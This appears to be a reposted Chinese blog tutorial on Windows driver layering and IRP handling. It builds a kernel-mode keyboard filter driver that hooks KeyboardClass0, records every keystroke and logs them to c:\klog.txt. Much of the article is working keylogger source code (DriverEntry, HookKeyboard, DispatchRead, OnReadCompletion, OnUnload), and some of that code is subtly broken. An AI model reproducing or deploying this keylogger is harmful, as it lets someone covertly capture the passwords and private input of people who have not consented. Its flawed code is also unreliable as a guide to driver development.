您的位置:首页 > 其它

【转帖】让一切输入都难逃法眼(驱动级键盘过滤钩子)(zz)

2008-11-03 11:00 453 查看
驱动分层结构,这是windows的特性,IO管理器的两个重要的设计:1、Windows中的任何一个驱动程序都被设计成Client/Server模式。对于客户端驱动,通过IoGetDeviceObjectPointer之类的获取服务端驱动导出的Device对象,通过IO管理器的IoCallDriver请求服务端的服务。IoCallDriver实际上根据客户端的调用参数(通过IRP)调用服务端的派遣入口(回调函数)接受客户端的请求。2、IO管理器实现一个分层的数据结构,在DEVICE_OBJECT对象中保存某种关系,自动将请求IRP发给设备栈中的最高的一个设备,由其决定如何处理,或是自身处理,或是向下传递,达到分层的目的。鉴于这种能力,分层驱动模型可以实现很多应用,如文件监控,加密,防病毒等等,由于PNP的引入,这种应用将更加广泛。
设备对象是系统为帮助软件管理硬件而创建的数据结构。一个物理硬件可以有多个这样的数据结构。处于堆栈最底层的设备对象称为物理设备对象(physical device object),或简称为PDO。在设备对象堆栈的中间某处有一个对象称为功能设备对象(functional device object),或简称FDO。在FDO的上面和下面还会有一些过滤器设备对象(filter device object)。位于FDO上面的过滤器设备对象称为上层过滤器,位于FDO下面(但仍在PDO之上)的过滤器设备对象称为下层过滤器。
图(1)





未命名2.png (31.46 KB)

2007-10-24 10:16
首先讲下I/O请求报文,IRP是一个具有不完全文档说明的结构,它由I/O管理器进行分配,用于在驱动程序之间传递特有的数据,对驱动程序分层时,他会注册到一个链中,如果向链接起来的驱动程序发出I/O请求,就创建一个IRP并将其传递给链中所有驱动程序。链中最顶端的驱动程序最先接受IRP,链中最后一个驱动程序,负责与硬件通信。I/O管理器准确知道链中驱动程序的数目。再分配的IRP中为链中每个驱动程序添加一个叫做IO_STACK_LOCATION的空间。IRP头部储存IO_STACK_LOCATION索引,也储存当前IO_STACK_LOCATION的一个指针,当我们调用IoCallDriver时,就会递减这个索引。具体IRP等的结构说明,请大家查看DDK吧,我就不啰嗦了。






未命名4.png (31.08 KB)

2007-10-24 10:16

我要讲的是一个键盘过滤驱动,他通过分层机制,捕获键盘的扫描码,转换成按键字符并保存下来。通过DeviceTree工具可以显示键盘驱动的结构:这里说一下我们程序要钩住的是KeybboardClass0我们通过DeviceTree可以看到它的设备标记。这对以后我们写程序是有很大帮助的。
图(2)






未命名3.png (61.62 KB)

2007-10-24 10:16

这里解释下一点,我们要动态卸载驱动程序,所以我们要挂接KeyboardClass0才可以,而不能挂接如图(1)所示的上层过滤器驱动。
要知道键盘过滤驱动是工作在异步模式下的,这一点很重要。为了得到一个按键操作,首先需要发送一个IRP_MJ_READ到驱动的设备栈,驱动收到这个irp会做什么样的处理呢?它会一直保持这个irp为pending未确定状态,因为其实现在一直没有按键操作,直到一个键被真正的按下,驱动此时就会立刻完成这个irp,并将刚按下的键的相关数据做为该irp的返回值。在该irp带着对应的数据返回后,操作系统将这些值传递给对应的事件系统来处理,然后做什么呢??系统紧接着又会立刻发送一个IRP_MJ_READ请求,等待下次的按键操作,重复以上的步骤。也就是说,任何时候设备栈底都会有一个键盘的IRP_MJ_READ请求处于pending未确定状态。这意味着只有在该irp完成返回,并却新的irp请求还未发送到的时候才会有一个很短暂的时间。由此我们想到,我们按照一般的方式动态御载键盘过滤驱动的时候,基本都是有IRP_MJ_READ请求处于pending未确定状态,而我们却御载了驱动,以后按键的时候需要处理这个irp却找不到对应的驱动就会蓝屏。
栈底有irp为什么我们的驱动御载就会有问题呢?这是由于IRM_MJ_READ是异步的,对于异步的请求,基本上我们会关心这个异步请求的结果,如何得到完成后的数据呢?大家一定想到了,设置完成例程。对,就是这样,由于我们给IRP_MJ_READ设置了完成例程,该irp完成后会调用我们的完成例程,使我们有处理返回数据的机会。在这样的情况下,我们动态御载了键盘过滤驱动,也就是说完成例程已经被我们御载掉了,而以后的再次按键在完成这个irp后会调用这个根本已经不存在了的东东,结果蓝屏就可想而知了。
那是否是不设置完成例程就不会有问题了呢?答案是肯定的。可是没有完成例程我们就没有办法处理到返回的数据,也就在很大程度上失去了键盘过滤驱动的作用了。如何做到既能设置完成例程来处理数据又可以实现动态的御载呢?
这要怎么处理呢?我们由有俩个办法,当有IRP_MJ_READ到来的时候,我不为这个irp设置完成例程,也不将该irp向下传递,而是创建一个我自己的irp,并参考前面的IRP_MJ_READ做对应的设置,然后为我自己的这个irp设置完成例程后将我的irp向下传递,并设置原来的IRP_MJ_READ为pending状态。当有按键操作时,我的irp返回触发为它设置的完成例程,在这里取得返回的数据填充前面的IRP_MJ_READ后将该IRP_MJ_READ完成返回。相当于我们使用了一个代理,而这一切都是透明的。到这里我们实现了完成例程,也就是有了处理数据的机会。
假设现在我们收到御载的请求,让我们看看当前所有的irp处于何种状态:
(1)一个我们保存的原本的IRP_MJ_READ处于pending,注意它并没向下传递,也未设置完成例程。
(2)一个我们自己构造的irp处于栈底,并注意我们为自己的这个irp设置了完成例程。
基本就这2个irp,由于我们自己的irp有完成例程,所以直接御载会出现和上面一样的情况,导致蓝屏。如何处理呢?这里注意到是我们自己构造的irp,所以我们可以将其取消,这样并不会有太大的影响。然后我们将原来的这个IRP_MJ_READ向下传递,这里千万注意,我们自己的驱动马上要御载,所以我们传递原来的IRP_MJ_READ的时候不要给它设置完成例程。向下传递后御载我们的驱动。当然,这里还有更简单的办法,使用计数器也可以实现,还简单的多,所以我们这里使用计数器来实现。我这里不多啰嗦,详细去看程序的说明。
首先我们写驱动程序要一个入口DriverEntry,有人会问如果配置一个方便的驱动开发环境,我推荐是vc+DDK+DS,这也是他们安装的顺序,我习惯了vc++的开发环境所以,我想大多数人也是,所以即使用DDK开发也可以装个DS,呵呵:下面看程序:(我只介绍几个重要例程其他请看随文的源代码)。

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,IN PUNICODE_STRING RegistryPath)
{
NTSTATUS status={0};
int i;
PDEVICE_EXTENSION pKeyboardDeviceExtension;

IO_STATUS_BLOCK file_status;
OBJECT_ATTRIBUTES obj_attrib;
CCHAR ntNameFile[100]="//DosDevices//c://klog.txt";
STRING ntNameString;
UNICODE_STRING uFileName;

for( i=0 ; i < IRP_MJ_MAXIMUM_FUNCTION;i++)

//这里我们设置一个DispatchPassDown例程来处理一些请求
theDriverObject->MajorFunction = DispatchPassDown;
//在DispatchRead中处理键盘的读请求
theDriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;
// HookKeyboard hook键盘驱动
HookKeyboard(theDriverObject);
//建立一个线程用来记录键盘动作
InitThreadKeyLogger(theDriverObject);

/////////////////////////////////////////////////////////////////////////////////////////////
////////初始化一个旋转锁来访问链表///////////////////////////////////////////////////////////////
pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;
InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);
KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue,0,MAXLONG);
////////////创建一个纪录文件///////////////////////////////////////////////////////////////////////
RtlInitAnsiString(&ntNameString,ntNameFile);
RtlAnsiStringToUnicodeString(&uFileName,&ntNameString,TRUE);
InitializeObjectAttributes(&obj_attrib,&uFileName,
OBJ_CASE_INSENSITIVE,
NULL,NULL);

status=ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,
GENERIC_WRITE,
&obj_attrib,
&file_status,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
RtlFreeUnicodeString(&uFileName);

theDriverObject->DriverUnload=OnUnload;

return STATUS_SUCCESS;

}
这里说下在HookKeyboard中我们创建设备
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT theDriverObject)
{ ///IRQL = passive level
//建立过滤驱动对象
PDEVICE_EXTENSION pKeyboardDeviceExtension;
PDEVICE_OBJECT pKeyboardDeviceObject;
CCHAR ntNameBuffer[50]="//Device//keyboardClass0";
STRING ntNameString;
UNICODE_STRING uKeyboardDevice;

NTSTATUS status=IoCreateDevice(theDriverObject,
sizeof(DEVICE_EXTENSION),
NULL,
FILE_DEVICE_KEYBOARD,
0,
TRUE,
&pKeyboardDeviceObject);
if(!NT_SUCCESS(status))
return status;
/////////// 设置新设备的标志与地层键盘设备标记相同
pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags|DO_BUFFERED_IO |DO_POWER_PAGABLE ;
pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags &~DO_DEVICE_INITIALIZING;
//在DriverEntry例程中创建的设备对象,并不需要必须清除DO_DEVICE_INITIALIZING标识,这是因为这个工作将会由I/O管理器自动完成。
//然而,如果创建了其它设备对象,则需要进行该清除工作。
//对DEVICE_EXTENSION结构清0

RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,sizeof(DEVICE_EXTENSION));

pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
/////把keyboardClass0转换成一个UNICODE字符串//////////////////////////////////////////////////////////

RtlInitAnsiString(&ntNameString,ntNameBuffer);
RtlAnsiStringToUnicodeString(&uKeyboardDevice,&ntNameString,TRUE);
//准备工作完成后放置过滤钩子
IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDevice,
&pKeyboardDeviceExtension->pKeyboardDevice);
RtlFreeUnicodeString(&uKeyboardDevice);

return STATUS_SUCCESS;
}
在DispatchRead中我们要记录挂起的IRP的数目。这在以后的卸载例程和处理例程中有用,我们在卸载驱动时可以进行判断,这里我们设置完成例程,使得IRP在返回时能得到通知,然后我们在OnReadCompletion,中处理。
NTSTATUS DispatchRead(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp)
{ // IRQL = DISPATCH_LEVEL

IoCopyCurrentIrpStackLocationToNext(pIrp);

IoSetCompletionRoutine(pIrp,
OnReadCompletion,
theDeviceObject,
TRUE,
TRUE,
TRUE);

numPendingIrps++; //纪录挂起的irp数目

return IoCallDriver(((PDEVICE_EXTENSION)theDeviceObject->DeviceExtension)->pKeyboardDevice,pIrp);
}
在OnReadCompletion中我们完成对IRP的处理,然后递减计数。
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp,IN PVOID Context)
{// IRQL = DISPATCH_LEVEL
PKEYBOARD_INPUT_DATA keys;
int numKeys;
int i;
KEY_DATA* kData;
PDEVICE_EXTENSION pKeyboardDeviceExtension;
pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDeviceObject->DeviceExtension;
if(pIrp->IoStatus.Status==STATUS_SUCCESS)
{

keys=(PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
numKeys=pIrp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA);
for( i=0;i<numKeys;i++)
{
if(keys[i].Flags==KEY_MAKE)
DbgPrint("%s/n","Key Down");
//上面的例程在DISPATH_LEVEL中执行,这意味着不允许文件操作,所以我们用一个链表来传递给线程。这里要注意。
kData=(KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
kData->KeyData=(char)keys[i].MakeCode;
kData->KeyFlags=(char)keys[i].Flags;
/////////创建一个链表将击键动作传递给worker线程/////////////////////////////////////
ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
&kData->ListEntry,
&pKeyboardDeviceExtension->lockQueue);
KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,FALSE);

}

}
if(pIrp->PendingReturned)
IoMarkIrpPending(pIrp);
numPendingIrps--;////递减挂起的irp数目
return pIrp->IoStatus.Status;
}
我们在卸载例程里要注意,我们要等待按下一个键后卸载才完成.
VOID OnUnload( IN PDRIVER_OBJECT theDriverObject )
{
KTIMER kTimer;
LARGE_INTEGER timeout;
PDEVICE_EXTENSION pKeyboradDeviceExtension;
pKeyboradDeviceExtension=(PDEVICE_EXTENSION) theDriverObject->DeviceObject->DeviceExtension;
IoDetachDevice(pKeyboradDeviceExtension->pKeyboardDevice);
timeout.QuadPart=1000000;//1s
KeInitializeTimer(&kTimer);
while(numPendingIrps > 0)
{
KeSetTimer(&kTimer,timeout,NULL);
KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);

}
pKeyboradDeviceExtension->bThreadTerminate=TRUE;
KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,0,1,TRUE);
KeWaitForSingleObject(pKeyboradDeviceExtension->pThreadObject,
Executive,KernelMode,FALSE,NULL);
ZwClose(pKeyboradDeviceExtension->hLogFile);
IoDeleteDevice(theDriverObject->DeviceObject);
DbgPrint("My Driver Unloaded!");
return;
}
[/i][/i][/i]
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: